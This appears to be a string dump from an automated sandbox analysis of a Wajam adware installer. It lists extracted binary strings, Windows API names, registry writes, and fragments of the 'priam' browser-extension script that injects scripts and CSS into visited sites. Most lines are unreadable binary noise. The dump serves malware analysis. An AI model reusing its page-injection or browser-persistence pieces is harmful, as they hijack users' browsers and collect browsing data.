uSYtSSqPhP0I{t<VWjY}SCS YuYjY_^StY{t;S-@Yt;utP0 t5T@ZYuS0[UESX@EV3W\@]\ETuE)YM<~t$<!t 2PEYuU0M/tv!tbtlHt4tHtHH2+}(}uSWV

Ansi based on Dropped File (nsqE177.tmp)

ut<V@YVFjPjjWH0APPPjhlUAtT0AUQQEP@F+EVUQYUDA3ESWW3PS0A;t_;t[j\P

Ansi based on Dropped File (nsqE177.tmp)

UTF8ServerNameRes

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Utw{YK*9..lR?NVO~V}xgh#}g0c0U#0dt<[(M<0UePMcGz']0U0U00U%0

Ansi based on Dropped File (nsqE177.tmp)

UU)'hw|BX7ngL\X`J^0=?/^ww6wex(xRl=TnE<FsVgB5!^R|N'I,=X

Ansi based on Dropped File (nsqE177.tmp)

uuiShSSSuuP0A;u

Ansi based on Dropped File (nsqE177.tmp)

uu~juuD0AuM{_^UEEhDfAEP(U9Et)P1A}tu1Au

Ansi based on Dropped File (nsqE177.tmp)

UV\AEtVU;Y^]UVW}GtGP:t?uN;tQRo]YYt3$ttEtttt3@_^]UE=RCCt=MOCt=csmu*

Ansi based on Dropped File (nsqE177.tmp)

UVi0A6GDpk&z/9JayotTFpz0B*G#%Kc/D+5YA/g-IF] YnK$y<~WeR$_D:B}*qQ%+4]oA:g!.E^}aeAgFwtk

Ansi based on Dropped File (nsqE177.tmp)

uWuj@;ut4uVSuFQVPM)1u8uu@ESPuWu(@W@SSujsEu@uuh<@89]j^}j^uD@EV;t<Rh$@8EPh@`Bt89]t

Ansi based on Dropped File (nsqE177.tmp)

uYtuYtAAlAAu,

Ansi based on Dropped File (nsqE177.tmp)

u|YuV(YFWF>HN++N~WPu$EN F=MttAA@ tSjjQ#t-F]fjEPu]f]E9}tN %_[^USVu3W};u;v

Ansi based on Dropped File (nsqE177.tmp)

u~Y3MW0uFVuj5A41Au^9At@VYtvVoYD3_^]30APY0APYU}u]uj5A81A]lAA@UVlAA@EtVY^]UVu@lAA^]U

Ansi based on Dropped File (nsqE177.tmp)

v$^hCv hWdvhWVv(hWHjW8@9-lCD$,tfQP@%Pt$0H@P#S5BH@;tUjh`UW|@Px@P@jUht$89-lCtUjhW5B5$B(BhCSvSPSW@Uv9.~u9-lC9-`Cw5C@5B9.FV4@ffCWP5C@;Cv,jPD$PhW8@Pt@D$PWp@jUUt$ t$ U5C@Uv9-Cu\j5C@h5C@5B-CWl@9-(Bu9-Ctj

Ansi based on Dropped File (nsqE177.tmp)

V(Z&YlQUAIwqd2*j"gSNm

Ansi based on Dropped File (nsqE177.tmp)

V0A^]UE}PSEHY]E P0A]UE0A;r=Aw`+PRY] P0A]UME}`QoRY] P0A]UA3SVuEUUUf> tat0rt#wt%3a

Ansi based on Dropped File (nsqE177.tmp)

V1A_[^SVW0ULVEP`1Aj@j ^VJYY3;uA5A;s6Hf@

Ansi based on Dropped File (nsqE177.tmp)

V5C@EuDSShuu5P@E+]EEP+SPuSuhu;tEB_^[V5CW=Cj@Cj

Ansi based on Dropped File (nsqE177.tmp)

V?Fao0<Uh

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

v@@.reloc@B01Aj Ac3EEEhUAEhE

Ansi based on Dropped File (nsqE177.tmp)

Va3}4Jw23w333+3Dw3N\3`w3iw3t}333V3V8

Ansi based on Dropped File (nsqE177.tmp)

val 'EventMessageFile' = s '%MODULE_RAW%'

Ansi based on Dropped File (nsqE177.tmp)

val 'TypesSupported' = d 7

Ansi based on Dropped File (nsqE177.tmp)

vapi32.dll

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Ansi based on Dropped File (priam_bho.dll.1505483275)

var version = priam.background.preferences.get('version');var versionActual = priam.Config.getVersion();var isUpgrade = 'false';if ( version === null || version == 'null' || version == '0' || version === '' ) {isFirstTimeInstallation = 'true';priam.background.preferences.set( 'firstrun', 'true');str += 'firstrun set to true' + '\n';}else { // there is a old version numberisUpgrade = ( version != versionActual ) ? 'true' : 'false' ;str += 'isUpgrade: ' + isUpgrade + '\n';priam.background.preferences.set( 'firstrun', 'false');str += 'firstrun set to false' + '\n';}str += priam.background.trace.add(method_name,'version: ' + version);str += priam.background.trace.add(method_name,'versionActual: ' + versionActual);str += priam.background.trace.add(method_name,'isFirstTimeInstallation: ' + isFirstTimeInstallation);str += priam.background.trace.add(method_name,'isUpgrade: ' + isUpgrade);

Ansi based on Dropped File (priam_bho.dll.1505483275)

var website_version = element_reload_js.value;str += priam.Trace.add(method_name,'website_version is: '+website_version);// Save the website_versionpriam.Preferences.set('website_version',website_version);// Re-insert the scripts and css on the document that received the priam.Config.event_name.update_script event.var siteObject = mappingList.supported_sites[siteName];priam.Page.insertAllCss(_document,siteObject.css,mappingList.css,siteObject.support_https);str += priam.Trace.add(method_name,'Inserted all css');priam.Page.insertAllScript(_document,siteObject.js_files,siteName,true);str += priam.Trace.add(method_name,'Inserted all scripts');}else {str += priam.Trace.add(method_name,'Error Message: '+priam.Config.added_var_name.element_addon_reload_javascript+' has not been found. Not updating script/css');}}else {

Ansi based on Dropped File (priam_bho.dll.1505483275)

VarFileInfo

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

VC3AE#ME9}tNExnup\WhuExju(xu@\iD @\i\#}urf}HEf=8WWhGu#WPhPutE9<uj [SSWh uE}E}uWWhu}u2B;tP,@ B;tP@=B= B=@C}GWWz9}tj9}t?5 BQS33;~U9<tA@;|WQhNu]E WW# B9=CECE0}XEM;ttEEtCEEc@tjX@tu AEQhuEPWh

Ansi based on Dropped File (nsqE177.tmp)

VeeeeeeeechzYbt\ha7^H^[ecYSPvfbbsc]eeee_J~7jsePevt`3QGN2`eddWouu_eee`x qsXyjafvPSYaGqeUeeecb_<A_ee`5jK\\WeedfeR}({$]e[fpceeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeb_]_ceee^Jl

Ansi based on Dropped File (nsqE177.tmp)

verifying installer: %d%%

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

verPerUser

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

VerQueryValueA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

VerQueryValueAGetFileVersionInfoAGetFileVersionInfoSizeAVERSION.dll`C@

Ansi based on Dropped File (nsqE177.tmp)

VERSION.dll

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

version=1

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

Vh>?n]U~s}k+g_\F_+* N"W^WrT*k^neU9spo:WQ#y>_|i)\pY9hgu)m-|/xvEEeU%tI_\aW)QUO)Jm_U_gY[y|#t

Ansi based on Dropped File (nsqE177.tmp)

vHuYUDA3EUS3VW;~EI8t@;u+H;}@E]9]$uE@E$50A39](SSuuPu$};u3R~Cj3Xr7D?=w;tP`Y;tE]9]tWuuuju$50ASSWuuuE;Mt)E ;9EPuWuuu};~Bj3Xr6D?;w;thPY;t3;t?uWuuuut"SS9] uSSu uuWSu$1AEWsYusEYe_^[M3!lUuMsu(Eu$u uuuuuP$}tMapUQQDA3ES3VW]9]uE@E50A39] SSuuPu;u3~<w4D?=w;tPdY;tt?PjSIrWSuujutuPSu0AESrEYe_^[M3jUuMru$EuuuuuP}tMapUVucv2}v*}v"}v}v}v

Ansi based on Dropped File (nsqE177.tmp)

vID"L_s=1':E[[m:?yl>:?"}

Ansi based on Dropped File (nsqE177.tmp)

Vid'Z/7V.f[t'_vY?1Di|-R^9'CN$+D~\{HePl'

Ansi based on Dropped File (nsqE177.tmp)

virtual function call

Unicode based on Dropped File (priam_bho.dll.1505483275)

VirtualAlloc

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

VirtualFree

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

VirtualProtect

Ansi based on Dropped File (System.dll.4179624505)

vIutFGIuX^_]++QtFGIut

Ansi based on Dropped File (nsqE177.tmp)

VPjt$@8YuwSSj15Y@;D$tSPj0hVSt$j0jV8([uj@h([j5Y@PP@h([t$ @jSSSSSt$(@8Yt19\$tSt$ @8YtjV$A5PjV@hShhV9 [=@tGSjgS@P@PhphV5 [hV8h[h[uWPV@ShjV@8^tNh^hVhThVh0UhVhVhVhpUhVhVhV_^][YYD$SUVWN-*HHH38Y!l$U@=Yth@+

Ansi based on Dropped File (nsqE177.tmp)

VS_VERSION_INFO

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

vssssssst"t4tBtRtbtrtttttttuu(u>uNu`u|uuuuuuuuuuMpppppppxprrss&sHsZsrs8s$A$AA$A#ACh@u@,@@@@Ov@?OeH]HG#FY/(e

Ansi based on Dropped File (nsqE177.tmp)

vssssssst"t4tBtRtbtrtttttttuu(u>uNu`u|uuuuuuuuuuMpppppppxprrss&sHsZsrs8sEGetProcAddressGetModuleHandleWGetModuleFileNameWCreateFileWRCloseHandleCreateProcessWWaitForSingleObjectgMultiByteToWideCharElstrcmpiWNlstrlenWGetLastErrorbFreeLibrary9LeaveCriticalSectionRaiseExceptionEnterCriticalSectionSizeofResourceALoadResourceNFindResourceW>LoadLibraryExWInitializeCriticalSectionAndSpinCountDeleteCriticalSectionCreateEventWYSetEventTLockResourceGetCommandLineWGetCurrentThreadIdInterlockedDecrementKERNEL32.dll<CharUpperW1CharNextW9PostThreadMessageWLoadStringWMessageBoxW]GetMessageWTranslateMessageDispatchMessageWUSER32.dll0RegCloseKey9RegCreateKeyExWnRegQueryValueExW~RegSetValueExWaRegOpenKeyExWDRegDeleteKeyWhRegQueryInfoKeyWORegEnumKeyExWHRegDeleteValueWOpenSCManagerWOpenServiceWPChangeServiceConfigWNChangeServiceConfig2WWCloseServiceHandleSetServiceStatusStartServiceCtrlDispatcherWCreateServiceW\ControlServiceDeleteServiceRegisterServiceCtrlHandlerWRegisterEventSourceWReportEventWDeregisterEventSourceADVAPI32.dllCLSIDFromProgIDCoCreateInstancehCoTaskMemFreeiCoTaskMemReallocgCoTaskMemAlloc>CoInitializelCoUninitializeCoAddRefServerProcess[CoReleaseServerProcessole32.dllOLEAUT32.dllHeapDestroyHeapAllocHeapFreeHeapReAllocHeapSizeJGetProcessHeapyGetSystemTimeAsFileTimeGetTimeFormatWGetDateFormatWExitThreadCreateThreadEncodePointerDecodePointerHeapSetInformationcGetStartupInfoWTerminateProcessGetCurrentProcessUnhandledExceptionFilterSetUnhandledExceptionFilterIsDebuggerPresentRtlUnwind%WriteFileWideCharToMultiByteGetConsoleCPGetConsoleModeIsProcessorFeaturePresentrGetCPInfoInterlockedIncrementhGetACP7GetOEMCP

Ansi based on Dropped File (nsqE177.tmp)

Vu\ Eh40uOu, +M;~ G.WX 8;Q~

Ansi based on Dropped File (nsqE177.tmp)

VVVhhhtS4Z<Z<Z<Y;W6Z<H(Y:bIeIaFY;U7W6X7bEhNdK]@U5Y=dJhN`EM(nTpYfIdGX8W8S5`CiNfLZ<V2X8T7cGjOdGU3Y9F'aEfK`DX;Y=Z;Z<X:\>=Ref|\9yR~a|t>[MB5M`s$_x;RMkN|\H\nwukgrrf^JxKb+F7,(+*DIam}"C.ykfSp^p>5&^WWW*)*

Ansi based on Dropped File (nsqE177.tmp)

vvvJJJ]]]wwwaaa%%%

Ansi based on Dropped File (nsqE177.tmp)

VY]}=_%'T{8

Ansi based on Dropped File (nsqE177.tmp)

VYYY\+mZ\W})`FTda1{X|'`Ye+7S^eavE_e[ofZ\SuKLYYZceR~+S\egOUeWYYYaeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee^M;`e^Jl

Ansi based on Dropped File (nsqE177.tmp)

Vz(=%+x.`Rs$3q:k ?K,&rK<4d][i_*nYqSVf/*ZVi1g-2,CXH[[U#dl|XJoa=<2DKch[3&Xton7_=5<~Nh)oJNqB:n$O\W6Z(!Eq[pRK$&AC-aghVxPs4[z4,=1g.[hNQ1L/6Q6B:Bjk,e"y_%K("]y{!EP<-

Ansi based on Dropped File (nsqE177.tmp)

Vzs A9sy2+g(\?Cx2u|8(k/YUL#Vt5cA@N@\/LJG|8

Ansi based on Dropped File (nsqE177.tmp)

w$_9/cW<]~/.9{*Ez

Ansi based on Dropped File (nsqE177.tmp)

w(BW2&)(xG8_,O1P"Iya??0XD~"|Zf7#hb^G

Ansi based on Dropped File (nsqE177.tmp)

W*(sGkSM)5x)u]-p"I ^5]iL,sCSg-R}W]QFpgnya]:38C

Ansi based on Dropped File (nsqE177.tmp)

W,:J_'?KNV$?gV

Ansi based on Dropped File (nsqE177.tmp)

W,:J_?NV?i?>??`J_JV

Ansi based on Dropped File (nsqE177.tmp)

W,:J_NV?i??&?*

Ansi based on Dropped File (nsqE177.tmp)

W,J_4?(@?EsL

Ansi based on Dropped File (nsqE177.tmp)

W,J_L?N?"iP??R?sU?iLV

Ansi based on Dropped File (nsqE177.tmp)

W,}J_"N_?V

Ansi based on Dropped File (nsqE177.tmp)

W,}J_N_?i?2?U?w!?i#?U&?i(??iQV

Ansi based on Dropped File (nsqE177.tmp)

W.,I%i.{L.?q.i$S$...m#S"-l%i-8 -...m#8 "[

Ansi based on Dropped File (nsqE177.tmp)

W.hZlo\{#Rw

Ansi based on Dropped File (nsqE177.tmp)

w/%$RHc4[E<Jy^t/*U"Xx9s"3B,`!j+e"d<rr__3}|=@a^!c^W{ vC1>rWR2f_? 3i2n,fwh@`dAtNp)2%JOw\w(JIL4+cc#

Ansi based on Dropped File (nsqE177.tmp)

w1WNAfsfR

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

W3vf 3>>E.pDweY-<>u[vjgK-zz{_o6IqF/DWa,*fS&K~V"wjh4os$pQNK{-[(OHmMKoft)hPZ=}\W,El6UO'nVA+7<<,t%nCiac0#X`mOT-7jtuFdh{FYNzDWvTt dp0sXteI)ZBxU`P+xQOn|4|6um4X!'z7:|6|&kEjI{)8EP@F}jvZ}9GWhZm#Dt`?<$2i4^w3tp^o>knkJw)h:S

Ansi based on Dropped File (nsqE177.tmp)

w4wBM6(rXv^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^u]v]{{{{iO/U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6U6T5T5]'N}sS4Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<X:[>_ yLuHgdejtXK?1,+1FnsS4Z<Z<Z<Z<Z;Z;Z;Z;Y<Y<Y<Y<Z;Z;Z;Z<Y<Y<Z;Z;Z;Y<Z<Z;Z;Z;Z;Z<Y<Z;Z;Z;Z;Y<Z<Z;Z;Z;Z;Z;Z;Z<Z<Y;Z;Z;Z;Z;Z;Z<Y;Z;Y<Z;Z;Y<Y;Z;Z<Z<X:[=g/X`H2%QllT%:Q;F0psg*-7!yrewscZVhzzz)))$$$222)))fff\\\...666&&&***|||sS4Z<Z<Z<Z;Y<Z<Y<Z=Z<Z;Z<[<Z=Z<Z<Z<Z;Z<Z=Y=Z=[;Z<Z<Z=Z=Z=Z<Z<Z=Z=Z=Z=[<Z<Y<Y<Z=Z=Z=Z=Z<Y<[;Y<Z=Z=Z<Z<Z<[;Z=Z<Z=Z=Z<Z<Z<Z;Z<X:[=hoclM38}z~)D0fS

Ansi based on Dropped File (nsqE177.tmp)

w7v'vx9tO;

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

w;WMjw->7Rt5

Ansi based on Dropped File (nsqE177.tmp)

w@'&cCX"h-.Z

Ansi based on Dropped File (nsqE177.tmp)

W@(B3_^][|$xuCjt$h5CP@t$jQPD$Pt$at$5$BH@jt$j(5CP@Ctjjt$PP@UEVju@t}FW=@tPFt

Ansi based on Dropped File (nsqE177.tmp)

W\,IG?JNRa|_

Ansi based on Dropped File (nsqE177.tmp)

W^ovN;JU^1{N/?xwB`/*-uNT{ |]<F:E1SX`{^p2y}h!L8nnw6HcO+q=|F\x}3\iydF^1-oa4InJ{EOkw=iz9>1#d+#bnO[JGNI;y\?No~%v1N 4

Ansi based on Dropped File (nsqE177.tmp)

wAeLD&-zX[~Y~6j+p]irs`&Rd]C?uVkg[yok]IXcVOlV[>$p?b${Uq

Ansi based on Dropped File (nsqE177.tmp)

waitBHOEnable.exe

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WaitForInputIdle

Ansi based on Dropped File (ExecCmd.dll.1695374911)

WaitForSingleObject

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

wajam 1.0 Type Library

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Wajam AutoUpdate

Unicode based on Dropped File (priam_bho.dll.1505483275)

Wajam IE BHO

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Wajam may use cookies, pixels and/or other means to collect your IP address, URLs of the pages you visit and other non-personally identifiable

Ansi based on Dropped File (nsqE177.tmp)

Wajam Setup

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.00401000.00000020.mdmp)

Wajam UpdaterPA4VS_VERSION_INFO?4StringFileInfo040904b0,CompanyNameWajamB

Ansi based on Dropped File (nsqE177.tmp)

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

wajam.dll

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

wajam.WajamBHO

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

wajam.WajamBHO.1

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

wajam.WajamDownloader

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

wajam.WajamDownloader.1

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

wajam/local/

Unicode based on Dropped File (priam_bho.dll.1505483275)

wajam/remote/

Unicode based on Dropped File (priam_bho.dll.1505483275)

Wajam10UWajam0"0

Ansi based on Dropped File (nsqE177.tmp)

wajam_ie_addon_installed=1;

Unicode based on Dropped File (priam_bho.dll.1505483275)

wajamBookmarkAddedOrModified

Unicode based on Dropped File (priam_bho.dll.1505483275)

wajamBookmarkDeleted

Unicode based on Dropped File (priam_bho.dll.1505483275)

WajamDownloader Class

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

wajamReceivedNotify

Unicode based on Dropped File (priam_bho.dll.1505483275)

WajamUpdater

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WajamUpdater.exe

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

WajamUpdaterWajam Updater

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

WarnAlwaysOnPost

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WarnOnBadCertRecving

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WarnOnHTTPSToHTTPRedirect

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WarnOnPost

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WarnOnPostRedirect

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WarnOnZoneCrossing

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WD""""@",I"D"@"?uLvLwL7@"6

Ansi based on Dropped File (nsqE177.tmp)

WE=@1&O>],2<kU8

Ansi based on Dropped File (nsqE177.tmp)

Wednesday

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

wF9L'<<81'"&0(|PKGB%=O#content/priam_background_firefox.jsX[oH~&R/c1iV&X161l3736$VC"w>&$4>EA4&BoSJg4!I #?g?QvJ`RhLQ:uZ

Ansi based on Dropped File (nsqE177.tmp)

wF9L'<<81'"&0(|PK~umSjs/priam_chrome.jsUKo8>+@UmV]^v-QPt)*wFC/|g83tZ}%t8S2p'VV>'x

Ansi based on Dropped File (nsqE177.tmp)

WHy-dMJvjlshgr\Sp,@x R<kzu[b'1qI#sIWF.1( +%;d_GS"mxISHo73{wDi!9+,h-=\W5`|Z8u^

Ansi based on Dropped File (nsqE177.tmp)

WideCharToMultiByte

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Win32_NetworkAdapter

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Win32_NetworkAdapterConfiguration

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Window_Placement

Unicode based on Runtime Data (iexplore.exe )

WININET.dll

Ansi based on Dropped File (inetc.dll.1181384010)

wininet.dll

Ansi based on Dropped File (inetc.dll.1181384010)

WinSock 2.0 Provider ID

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WinSock_Registry_Version

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WINSPrimaryServer

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

WINSSecondaryServer

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

WjhuuD@3E;t' t}PWPWhCuSPhQuC!|}]t0jut4ju339=CEPUB8Ej Y]#EE

Ansi based on Dropped File (nsqE177.tmp)

Wk,J_?V???NifGjG3uJi?0Ji?P?m???

Ansi based on Dropped File (nsqE177.tmp)

wL QA;rM_3[jhhcAAGptltwhuj Yj

Ansi based on Dropped File (nsqE177.tmp)

Wm,J_ji?s?J_sJV

Ansi based on Dropped File (nsqE177.tmp)

wNI7e|n<>TS/J{Ix_K}/No>90xn_Jy%uZ,8

Ansi based on Dropped File (nsqE177.tmp)

WP$q-a}Xbm=lQl\x

Ansi based on Dropped File (nsqE177.tmp)

WpadDecision

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WpadDecisionReason

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WpadDecisionTime

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WpadDetectedUrl

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WpadNetworkName

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WpadSearchAllDomains

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

wQ!hz=>K&jb'Fl!3SR/+R.%KlX!6q^)/8}m=]]w~?f+hY.{Z<ds~iU~wREjq[t'*{J;oQdUE7z_xys}+bv_BELb5{{3Td::7Du_nS4Tk-sZ?q<epY2;J'7\}0E WY%Tll2OAj

Ansi based on Dropped File (nsqE177.tmp)

wQQQ2jY+F;|3WjSPH0A9t"#PW;t;|3Md

Ansi based on Dropped File (nsqE177.tmp)

WriteConsoleA

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

WriteConsoleW

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

WriteFile

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WriteINIStr: wrote [%s] %s=%s in %s

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WritePrivateProfileStringA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WriteReg: error creating key "%s\%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WriteReg: error writing into "%s\%s" "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WriteRegBin: "%s\%s" "%s"="%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WriteRegDWORD: "%s\%s" "%s"="0x%08x"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "NoModify"="0x00000001"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "NoRepair"="0x00000001"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegExpandStr: "%s\%s" "%s"="%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WriteRegStr: "%s\%s" "%s"="%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

WriteRegStr: "HKEY_CURRENT_USER\Software\Mozilla\Firefox\Extensions" "{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}"="%PROGRAMFILES%\Wajam\Firefox\{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_CURRENT_USER\Software\Wajam" "Install_Dir"="%PROGRAMFILES%\Wajam"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_CURRENT_USER\Software\Wajam" "skip_new_tab"="true"

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "DisplayIcon"="%PROGRAMFILES%\Wajam\IE\favicon.ico"

